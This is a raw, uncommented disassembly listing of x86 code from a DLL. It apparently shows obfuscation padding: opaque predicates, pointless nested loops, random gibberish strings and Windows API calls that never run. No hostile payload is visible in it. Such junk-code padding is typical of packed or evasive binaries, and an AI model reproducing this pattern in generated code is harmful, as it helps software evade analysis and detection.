mov dword [ebp - 0xc68], 0xdcc590f0
mov dword [ebp - 0xc64], 0xdcc590f0
mov dword [ebp - 0x9c8], 5
push 1
lea ecx, [ebp - 0xc24]
call fcn.1000c530
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x9bc], 1
mov dword [ebp - 0xc80], 0xd4bca925
mov dword [ebp - 0xc7c], 0xd4bca925
mov dword [ebp - 0xc78], 0xd4bca925
mov dword [ebp - 0xc74], 0xd4bca925
mov dword [ebp - 0xd3c], 1
mov dword [ebp - 0x278], 0
jmp 0x1002fd49
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 1
jge 0x1002fd6b
push dword [ebp - 0x278]
lea ecx, [ebp - 0xc24]
call fcn.1000c5cf
mov dword [eax], 0xfffffff8
jmp 0x1002fd3c
mov dword [ebp - 0xd0], 0
jmp 0x1002fd84
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 3
jg 0x1002ffda
mov dword [ebp - 0xdbc], 0x7308f472
mov dword [ebp - 0xd44], 3
mov dword [ebp - 0xca0], 0x4cacff8e
mov dword [ebp - 0xd4c], 1
mov dword [ebp - 0xdcc], 0x18ebcce3
mov dword [ebp - 0x39c], 0x328db1ae
mov dword [ebp - 0x280], 0
jmp 0x1002fde6
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 3
jge 0x1002fe02
mov eax, dword [ebp - 0x280]
mov dword [ebp + eax*4 - 0xf64], 0x2189f42
jmp 0x1002fdd9
push 1
lea ecx, [ebp - 0x86c]
call fcn.1000c5cf
cmp dword [eax], 0
je 0x1002fe50
push 0
lea ecx, [ebp - 0xc24]
call fcn.1000c5cf
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x394]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x394]
mov ecx, dword [ecx]
dec ecx
mov edx, dword [ebp - 0x394]
mov dword [edx], ecx
test eax, eax
je 0x1002fe50
mov dword [ebp - 0x558], 1
jmp 0x1002fe57
and dword [ebp - 0x558], 0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xc70], 0xfffffff7
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0xa20], eax
mov eax, dword [ebp - 0x39c]
inc eax
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0xa20], 0xfffffff7
jg 0x1002fe96
mov dword [ebp - 0x548], 1
jmp 0x1002fe9d
and dword [ebp - 0x548], 0
cmp dword [ebp - 0x9bc], 0x979b5ce
jg 0x1002feb5
mov dword [ebp - 0x540], 1
jmp 0x1002febc
and dword [ebp - 0x540], 0
mov eax, dword [ebp - 0xd0]
cmp dword [ebp - 0x540], eax
jg 0x1002fed6
mov dword [ebp - 0x550], 1
jmp 0x1002fedd
and dword [ebp - 0x550], 0
mov eax, dword [ebp - 0x548]
cmp eax, dword [ebp - 0x550]
jle 0x1002fef7
mov dword [ebp - 0xa24], 1
jmp 0x1002fefe
and dword [ebp - 0xa24], 0
mov eax, dword [ebp - 0x9c8]
mov dword [ebp - 0xd5c], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xc80], 0
je 0x1002ff37
push 0
lea ecx, [ebp - 0x86c]
call fcn.1000c5cf
cmp dword [eax], 0
je 0x1002ff37
mov dword [ebp - 0x560], 1
jmp 0x1002ff3e
and dword [ebp - 0x560], 0
mov eax, dword [ebp - 0x558]
cmp eax, dword [ebp - 0x560]
je 0x1002ff58
mov dword [ebp - 0x568], 1
jmp 0x1002ff5f
and dword [ebp - 0x568], 0
push dword [ebp - 0xd0]
lea ecx, [ebp - 0x86c]
call fcn.1000c5cf
mov eax, dword [eax]
cmp eax, dword [ebp - 0x568]
jne 0x1002ff86
mov dword [ebp - 0x570], 1
jmp 0x1002ff8d
and dword [ebp - 0x570], 0
cmp dword [ebp - 0x570], 0xd88c924d
ja 0x1002ffa5
mov dword [ebp - 0x578], 1
jmp 0x1002ffac
and dword [ebp - 0x578], 0
push 1
lea ecx, [ebp - 0x86c]
call fcn.1000c5cf
mov esi, dword [ebp - 0x578]
imul esi, dword [eax]
push dword [ebp - 0xd0]
lea ecx, [ebp - 0x86c]
call fcn.1000c5cf
mov dword [eax], esi
jmp 0x1002fd77
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0xc24]
call fcn.1000c5b3
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x86c]
call fcn.1000c5b3
and dword [ebp - 0x2c0], 0
jmp 0x1003000e
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0xf
jae 0x100305d9
mov dword [ebp - 0x3c], 0xd4e06482
mov dword [ebp - 0xbec], 0xb752bf39
mov dword [ebp - 0xbe8], 0xb752bf39
mov dword [ebp - 0xbe4], 0xb752bf39
mov dword [ebp - 0xbe0], 0xb752bf39
lea ecx, [ebp - 0x3d1]
call fcn.1000c5de
push eax
lea eax, [ebp - 0xbdc]
push eax
lea eax, [ebp - 0xbec]
push eax
lea ecx, [ebp - 0xe24]
call fcn.1000c5e1
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x834]
call fcn.1000c58d
mov byte [ebp - 4], 0x1d
mov dword [ebp - 0x5c8], 0x1f2b
mov dword [ebp - 0x9ec], str.sdse_cdl_idmhqf_fvo_mwrbxpkt
cmp dword [ebp - 0x5c8], 0x213f
jle 0x10030151
push 0
push 0
call dword [sym.imp.USER32.dll_SetCaretPos]
and dword [ebp - 0x288], 0
jmp 0x100300c7
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0x35c5
jge 0x10030151
and dword [ebp - 0x290], 0
jmp 0x100300e9
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0x3698
jge 0x1003014c
mov eax, dword [ebp - 0x288]
add eax, dword [ebp - 0x290]
cdq
mov dword [ebp - 0x9e8], eax
mov dword [ebp - 0x9e4], edx
push dword [ebp - 0x9e4]
push dword [ebp - 0x9e8]
lea ecx, [ebp - 0xee0]
call fcn.100019c5
pop ecx
pop ecx
mov dword [ebp - 0xa2c], eax
mov ecx, dword [ebp - 0xa2c]
call fcn.1000c2f8
push eax
call fcn.1004139c
pop ecx
lea ecx, [ebp - 0xee0]
call fcn.1000c2ee
jmp 0x100300dc
jmp 0x100300ba
mov dword [ebp - 0x3c], 0
jmp 0x10030161
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x17
jg 0x1003046f
mov dword [ebp - 0x38], 0
mov dword [ebp - 0xa3c], 0xd727
mov dword [ebp - 0x38], 0xffffffff
jmp 0x1003018c
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xffffffec
je 0x10030322
mov dword [ebp - 0x298], 1
mov dword [ebp - 0x298], 3
jmp 0x100301b9
mov eax, dword [ebp - 0x298]
dec eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0xffffffee
jl 0x1003031d
mov dword [ebp - 0x580], 0x425b
mov dword [ebp - 0xa34], str.nheyig_nqkgfbeah_gskwioco_bpttmmx_idkfx_uscqtg_nbh_bvxob_toeknqes_xaitje_mldaiyy
cmp dword [ebp - 0x580], 0x447e
jle 0x100302f8
and dword [ebp - 0x2b0], 0
jmp 0x10030200
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0x50c8
jge 0x100302f8
and dword [ebp - 0x2a0], 0
jmp 0x10030226
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0x29b1
jge 0x100302f3
and dword [ebp - 0x2a8], 0
jmp 0x1003024c
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0x5869
jge 0x100302ee
and dword [ebp - 0x2b8], 0
jmp 0x10030272
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x38db
jge 0x100302e9
mov eax, dword [ebp - 0x2a0]
imul eax, dword [ebp - 0x2a8]
mov ecx, dword [ebp - 0x2b0]
sub ecx, eax
or ecx, dword [ebp - 0x2b8]
mov eax, ecx
cdq
mov dword [ebp - 0x9f4], eax
mov dword [ebp - 0x9f0], edx
push dword [ebp - 0x9f0]
push dword [ebp - 0x9f4]
lea ecx, [ebp - 0xf10]
call fcn.100019c5
pop ecx
pop ecx
mov dword [ebp - 0x9d4], eax
mov ecx, dword [ebp - 0x9d4]
call fcn.1000c2f8
push eax
call fcn.1004139c
pop ecx
lea ecx, [ebp - 0xf10]
call fcn.1000c2ee
jmp 0x10030265
jmp 0x1003023f
jmp 0x10030219
jmp 0x100301f3
cmp dword [ebp - 0x38], 0
je 0x10030300
jmp 0x1003031d
cmp dword [ebp - 0x580], 0x3ec5
jge 0x10030318
push dword [ebp - 0xa34]
call fcn.1004139c
pop ecx
jmp 0x100301ac
jmp 0x10030185
cmp dword [ebp - 0x3c], 0
je 0x10030343
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xd70], eax
cmp dword [ebp - 0x3c], 0
jge 0x10030343
mov dword [ebp - 0x588], 1
jmp 0x1003034a
and dword [ebp - 0x588], 0
cmp dword [ebp - 0x588], 0xfffffff6
je 0x1003035f
mov dword [ebp - 0x590], 1
jmp 0x10030366
and dword [ebp - 0x590], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x590], eax
jg 0x1003037d
mov dword [ebp - 0x598], 1
jmp 0x10030384
and dword [ebp - 0x598], 0
cmp dword [ebp - 0x598], 0xe13
je 0x1003039c
mov dword [ebp - 0x5a0], 1
jmp 0x100303a3
and dword [ebp - 0x5a0], 0
mov eax, dword [ebp - 0x5a0]
sub eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x38]
jl 0x100303bd
mov dword [ebp - 0x5a8], 1
jmp 0x100303c4
and dword [ebp - 0x5a8], 0
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x5a8]
cmp eax, 1
jle 0x100303de
mov dword [ebp - 0x5b0], 1
jmp 0x100303e5
and dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x5b0]
cmp eax, dword [ebp - 0x38]
jge 0x100303ff
mov dword [ebp - 0x5b8], 1
jmp 0x10030406
and dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x5b8], eax
jle 0x1003041d
mov dword [ebp - 0x9e0], 1
jmp 0x10030424
and dword [ebp - 0x9e0], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xd6c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xd74], eax
cmp dword [ebp - 0xa3c], 0xef8a
je 0x1003044e
mov dword [ebp - 0x5c0], 1
jmp 0x10030455
and dword [ebp - 0x5c0], 0
push 0
lea ecx, [ebp - 0x834]
call fcn.1000c5cf
mov ecx, dword [ebp - 0x5c0]
mov dword [eax], ecx
jmp 0x1003015a
cmp dword [ebp - 0x5c8], 0x1d51
jge 0x10030487
push dword [ebp - 0x9ec]
call fcn.1004139c
pop ecx
mov esi, dword [ebp - 0x3c]
push 0
lea ecx, [ebp - 0x834]
call fcn.1000c5cf
cmp esi, dword [eax]
jl 0x100304a7
mov dword [ebp - 0x5d0], 1
jmp 0x100304ae
and dword [ebp - 0x5d0], 0
push 1
lea ecx, [ebp - 0x834]
call fcn.1000c5cf
mov eax, dword [eax]
imul eax, dword [ebp - 0x5d0]
cmp eax, 0xd8e1ce43
jb 0x100304d7
mov dword [ebp - 0x5d8], 1
jmp 0x100304de
and dword [ebp - 0x5d8], 0
push 3
lea ecx, [ebp - 0x834]
call fcn.1000c5cf
mov ecx, dword [ebp - 0x5d8]
cmp ecx, dword [eax]
jl 0x10030501
mov dword [ebp - 0x5e0], 1
jmp 0x10030508
and dword [ebp - 0x5e0], 0
push 2
lea ecx, [ebp - 0x834]
call fcn.1000c5cf
mov ecx, dword [ebp - 0x5e0]
cmp ecx, dword [eax]
je 0x1003052b
mov dword [ebp - 0x3a4], 1
jmp 0x10030532
and dword [ebp - 0x3a4], 0
push 0
lea ecx, [ebp - 0x834]
call fcn.1000c5cf
mov ecx, dword [ebp - 0x3a4]
mov dword [eax], ecx
cmp dword [ebp - 0x3a4], 0xfffe
jbe 0x1003055f
mov dword [ebp - 0x5e8], 1
jmp 0x10030566
and dword [ebp - 0x5e8], 0
cmp dword [ebp - 0x5e8], 0xfffffffc
jne 0x1003057b
mov dword [ebp - 0x5f0], 1
jmp 0x10030582
and dword [ebp - 0x5f0], 0
mov eax, dword [ebp - 0x5f0]
add eax, 0x5ce17c92
cmp eax, dword [ebp - 0x3c]
jg 0x100305a4
mov eax, 0xba2c160e
test eax, eax
jne 0x100305a4
and dword [ebp - 0x5f8], 0
jmp 0x100305ae
mov dword [ebp - 0x5f8], 1
mov eax, dword [ebp - 0x5f8]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x834]
call fcn.1000c5b3
mov eax, dword [ebp - 0x2c0]
mov byte [ebp + eax - 0x894], 0
jmp 0x10030001
mov dword [ebp - 0x2c8], 0x928c176b
mov dword [ebp - 0x2c8], 0
jmp 0x100305fc
mov eax, dword [ebp - 0x2c8]
dec eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0xffffffe5
jg 0x10030673
mov dword [ebp - 0x80], 0
jmp 0x10030615
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 4
jge 0x1003062b
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0xe34], 0xb1658084
jmp 0x1003060e
mov dword [ebp - 0x80], 0
jmp 0x1003063b
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 3
jge 0x10030651
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0xe00], 0xffffffff
jmp 0x10030634
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xe34]
add eax, 7
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xe00], eax
jmp 0x100305ef
push 1
push 0
lea eax, [ebp - 0xe4c]
push eax
push dword [ebp - 0x600]
call fcn.10031b29
add esp, 0x10
mov dword [0x10074008], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe4c]
call fcn.1000f8df
mov dword [ebp - 0x12c], 0x491e29ea
mov dword [ebp - 0x610], 0x1df82d83
mov dword [ebp - 0x620], 0x89226c31
push 1
lea ecx, [ebp - 0xb78]
call fcn.1000c530
mov dword [ebp - 4], 0x1e
mov dword [ebp - 0x3ac], 0x6d238e48
mov dword [ebp - 0xa44], 0
mov dword [ebp - 0x2d0], 0
jmp 0x100306ff
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 1
jge 0x10030721
push dword [ebp - 0x2d0]
lea ecx, [ebp - 0xb78]
call fcn.1000c5cf
mov dword [eax], 0xc3ec3d4e
jmp 0x100306f2
cmp dword [ebp - 0x12c], 0
jne 0x1003079c
cmp dword [ebp - 0x12c], 0
jne 0x1003079c
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0xd7c], eax
push 0
lea ecx, [ebp - 0xb78]
call fcn.1000c5cf
mov dword [eax], 0x67b33aec
mov eax, dword [ebp - 0x3ac]
dec eax
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 0x19fa553f
je 0x10030777
mov dword [ebp - 0x608], 1
jmp 0x1003077e
and dword [ebp - 0x608], 0
mov eax, dword [ebp - 0x608]
mov dword [ebp - 0x610], eax
cmp dword [ebp - 0x610], 0
jne 0x1003079c
and dword [ebp - 0x618], 0
jmp 0x100307a6
mov dword [ebp - 0x618], 1
mov eax, dword [ebp - 0x618]
sub eax, dword [ebp - 0x620]
mov dword [ebp - 0x620], eax
cmp dword [ebp - 0x12c], 0xffffffff
jl 0x100307df
push 0
lea ecx, [ebp - 0xb78]
call fcn.1000c5cf
cmp dword [eax], 0
je 0x100307df
mov dword [ebp - 0x628], 1
jmp 0x100307e6
and dword [ebp - 0x628], 0
mov eax, dword [ebp - 0x12c]
cmp dword [ebp - 0x628], eax
jg 0x10030800
mov dword [ebp - 0x630], 1
jmp 0x10030807
and dword [ebp - 0x630], 0
mov eax, dword [ebp - 0x630]
mov dword [ebp - 0xa44], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb78]
call fcn.1000c5b3
cmp dword [0x10074008], 0
je 0x100319d0
mov dword [ebp - 0xf4], 9
mov dword [ebp - 0xec], 0xfffffff8
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0xf4], eax
jg 0x1003085d
mov dword [ebp - 0x658], 1
jmp 0x10030864
and dword [ebp - 0x658], 0
cmp dword [ebp - 0xec], 0xd46
jne 0x1003087c
mov dword [ebp - 0x638], 1
jmp 0x10030883
and dword [ebp - 0x638], 0
mov eax, dword [ebp - 0x638]
sub eax, 0xff14
jne 0x100308a2
cmp dword [ebp - 0xec], 0
jne 0x100308a2
and dword [ebp - 0x640], 0
jmp 0x100308ac
mov dword [ebp - 0x640], 1
cmp dword [ebp - 0x640], 0x5ed9a924
je 0x100308c4
mov dword [ebp - 0x648], 1
jmp 0x100308cb
and dword [ebp - 0x648], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x648], eax
jge 0x100308e5
mov dword [ebp - 0x650], 1
jmp 0x100308ec
and dword [ebp - 0x650], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x650], eax
jg 0x10030906
mov dword [ebp - 0x660], 1
jmp 0x1003090d
and dword [ebp - 0x660], 0
mov eax, dword [ebp - 0xf4]
add eax, dword [ebp - 0x658]
sub eax, dword [ebp - 0x660]
je 0x1003097d
mov dword [ebp - 0x668], 0xc41ac3dc
mov dword [ebp - 0xec], 0
jmp 0x10030944
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0x1c
jg 0x10030978
mov byte [ebp - 0x97], 0
movzx eax, byte [ebp - 0x97]
test eax, eax
je 0x10030969
push 0
push 0
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
mov eax, dword [ebp - 0x668]
inc eax
mov dword [ebp - 0x668], eax
jmp 0x10030937
jmp 0x10030a12
mov dword [ebp - 0x670], 0
mov dword [ebp - 0x680], 0x9b996a53
mov dword [ebp - 0x2d8], 0
jmp 0x100309aa
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 2
jge 0x100309c6
mov eax, dword [ebp - 0x2d8]
mov dword [ebp + eax*4 - 0xd08], 0xc0de450b
jmp 0x1003099d
mov dword [ebp - 0x670], 1
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x670], eax
jg 0x100309ea
mov dword [ebp - 0x678], 1
jmp 0x100309f1
and dword [ebp - 0x678], 0
mov eax, dword [ebp - 0x678]
mov dword [ebp - 0x680], eax
mov eax, dword [ebp - 0x680]
neg eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xd08], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0xa10], eax
mov dword [ebp - 0x688], 0x1a5b
mov dword [ebp - 0x9f8], str.hcmikwgeh_eiqwnkifu_achijk_obhjpbmm_pon_lscxosdu_apngfn_mvvdfttn_lmrcgnfy_ejes_nitlv_crhyw_xyg_qlehm
cmp dword [ebp - 0x688], 0x1b24
jle 0x10030af5
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCharWidthW]
and dword [ebp - 0x2e0], 0
jmp 0x10030a63
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0x7b52
jge 0x10030af5
and dword [ebp - 0x2e8], 0
jmp 0x10030a89
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0x25d5
jge 0x10030af0
and dword [ebp - 0x2f0], 0
jmp 0x10030aab
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0x27aa
jge 0x10030aee
mov eax, dword [ebp - 0x2e0]
sub eax, dword [ebp - 0x2e8]
sub eax, dword [ebp - 0x2f0]
cdq
mov dword [ebp - 0xa00], eax
mov dword [ebp - 0x9fc], edx
push dword [ebp - 0x9fc]
push dword [ebp - 0xa00]
mov ecx, 0x1006cbb8
call fcn.1000c318
jmp 0x10030a9e
jmp 0x10030a7c
jmp 0x10030a56
mov dword [ebp - 0xb0c], 0xfffffffc
mov dword [ebp - 0xb08], 0xfffffffc
mov dword [ebp - 0xb04], 0xfffffffc
mov dword [ebp - 0xb00], 0xfffffffc
cmp dword [ebp - 0x688], 0x1952
jge 0x10030b39
mov edx, dword [ebp - 0x9f8]
mov ecx, 0x1006cbb8
call fcn.1000e58f
mov dword [ebp - 0x2f8], 0
jmp 0x10030b52
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 1
jge 0x10030b6e
mov eax, dword [ebp - 0x2f8]
mov dword [ebp + eax*4 - 0xd78], 0x648261f
jmp 0x10030b45
mov byte [ebp - 0xcb], 0
movzx eax, byte [ebp - 0xcb]
test eax, eax
je 0x10030b96
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DeferWindowPos]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xb0c], 0
jmp 0x10030bc4
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb0c]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xb0c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xb0c], 0
jg 0x10030c22
mov dword [ebp - 0x690], 0xb972
mov dword [ebp - 0x300], 0
jmp 0x10030bf7
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 4
jge 0x10030c13
mov eax, dword [ebp - 0x300]
mov dword [ebp + eax*4 - 0xfbc], 0xdc9ed9ba
jmp 0x10030bea
mov eax, dword [ebp - 0x690]
inc eax
mov dword [ebp - 0x690], eax
jmp 0x10030ba9
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xa64], eax
mov dword [ebp - 0x310], 0xffffffff
mov dword [ebp - 0xa04], 0
mov dword [ebp - 0x308], 0
jmp 0x10030c58
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 2
jge 0x10030c74
mov eax, dword [ebp - 0x308]
mov dword [ebp + eax*4 - 0x848], 0x1102
jmp 0x10030c4b
mov dword [ebp - 0x310], 0xfffffff9
jmp 0x10030c8d
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0xffffffff
jl 0x10030e5a
mov dword [ebp - 0x84], 0x5ccc90a3
mov dword [ebp - 0xa54], 0xffffffff
mov dword [ebp - 0x84], 0
jmp 0x10030cc7
mov eax, dword [ebp - 0x84]
dec eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0xfffffff1
je 0x10030e55
mov dword [ebp - 0x3b4], 0xed1a
mov byte [ebp - 0x99], 0
movzx eax, byte [ebp - 0x99]
test eax, eax
je 0x10030cfa
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
cmp dword [ebp - 0x84], 1
jge 0x10030d0f
mov dword [ebp - 0x698], 1
jmp 0x10030d16
and dword [ebp - 0x698], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x848]
cmp eax, dword [ebp - 0x698]
jle 0x10030d44
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x848], 0
jne 0x10030d44
and dword [ebp - 0xa4c], 0
jmp 0x10030d4e
mov dword [ebp - 0xa4c], 1
xor eax, eax
inc eax
sub eax, dword [ebp - 0x84]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x848]
cmp eax, 0xcae7bf19
jbe 0x10030d77
mov dword [ebp - 0x6a0], 1
jmp 0x10030d7e
and dword [ebp - 0x6a0], 0
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0x6a0], eax
jle 0x10030d98
mov dword [ebp - 0x6a8], 1
jmp 0x10030d9f
and dword [ebp - 0x6a8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x848]
cmp eax, dword [ebp - 0x6a8]
jl 0x10030dc0
mov dword [ebp - 0x6b0], 1
jmp 0x10030dc7
and dword [ebp - 0x6b0], 0
mov eax, dword [ebp - 0x3b4]
cmp dword [ebp - 0x6b0], eax
jle 0x10030de1
mov dword [ebp - 0x6b8], 1
jmp 0x10030de8
and dword [ebp - 0x6b8], 0
cmp dword [ebp - 0x6b8], 0xd857289c
je 0x10030e00
mov dword [ebp - 0x6c0], 1
jmp 0x10030e07
and dword [ebp - 0x6c0], 0
mov eax, dword [ebp - 0x6c0]
add eax, 0x6e5dc64f
cmp eax, dword [ebp - 0xa04]
je 0x10030e26
mov dword [ebp - 0x6c8], 1
jmp 0x10030e2d
and dword [ebp - 0x6c8], 0
mov eax, dword [ebp - 0x3b4]
mov ecx, dword [ebp - 0x6c8]
neg ecx
imul ecx, dword [ebp - 0x3b4]
sub eax, ecx
add eax, dword [ebp - 0x84]
mov dword [ebp - 0xa54], eax
jmp 0x10030cba
jmp 0x10030c80
mov eax, dword [ebp - 0xa10]
mov dword [ebp - 0x8a0], eax
push 3
lea ecx, [ebp - 0x854]
call fcn.1000c530
mov dword [ebp - 4], 0x1f
mov dword [ebp - 0x134], 0xf1adb2bc
mov dword [ebp - 0x6c], 0
jmp 0x10030e94
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 3
jge 0x10030eb0
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x854]
call fcn.1000c5cf
mov dword [eax], 1
jmp 0x10030e8d
mov dword [ebp - 0x6c], 0
jmp 0x10030ec0
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jge 0x10030ed6
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x3e0], 0xfffffffc
jmp 0x10030eb9
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x3e0], 2
jmp 0x10030f04
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3e0]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x3e0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3e0], 0
jl 0x10031220
mov dword [ebp - 0xdac], 0x1006c668
push 1
lea ecx, [ebp - 0x840]
call fcn.1000c530
mov byte [ebp - 4], 0x20
mov dword [ebp - 0x6d0], 0x6066
mov dword [ebp - 0xa1c], str.swfg_hha_xehxpsh_feki_dml_qwxpq_dgvuaveue_ycacjek_mwqlpam_vmfgmwdpv_nrpe_lniktawx_ojdla
cmp dword [ebp - 0x6d0], 0x60a5
jle 0x10030ff7
and dword [ebp - 0x318], 0
jmp 0x10030f6d
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0x6042
jge 0x10030ff7
and dword [ebp - 0x320], 0
jmp 0x10030f8f
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0x7a2f
jge 0x10030ff2
mov eax, dword [ebp - 0x318]
and eax, dword [ebp - 0x320]
cdq
mov dword [ebp - 0xa0c], eax
mov dword [ebp - 0xa08], edx
push dword [ebp - 0xa08]
push dword [ebp - 0xa0c]
lea ecx, [ebp - 0xf40]
call fcn.100019c5
pop ecx
pop ecx
mov dword [ebp - 0xa5c], eax
mov ecx, dword [ebp - 0xa5c]
call fcn.1000c2f8
push eax
call fcn.1004139c
pop ecx
lea ecx, [ebp - 0xf40]
call fcn.1000c2ee
jmp 0x10030f82
jmp 0x10030f60
mov dword [ebp - 0x328], 0
jmp 0x10031010
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 1
jge 0x10031032
push dword [ebp - 0x328]
lea ecx, [ebp - 0x840]
call fcn.1000c5cf
mov dword [eax], 0x17f75960
jmp 0x10031003
cmp dword [ebp - 0x6d0], 0x5e27
jge 0x1003104a
push dword [ebp - 0xa1c]
call fcn.1004139c
pop ecx
push 0
lea ecx, [ebp - 0x840]
call fcn.1000c5cf
mov dword [eax], 2
jmp 0x10031083
push 0
lea ecx, [ebp - 0x840]
call fcn.1000c5cf
mov dword [ebp - 0x6d8], eax
mov eax, dword [ebp - 0x6d8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x6d8]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x840]
call fcn.1000c5cf
cmp dword [eax], 0
jl 0x100311db
push 2
lea ecx, [ebp - 0x854]
call fcn.1000c5cf
cmp dword [eax], 0
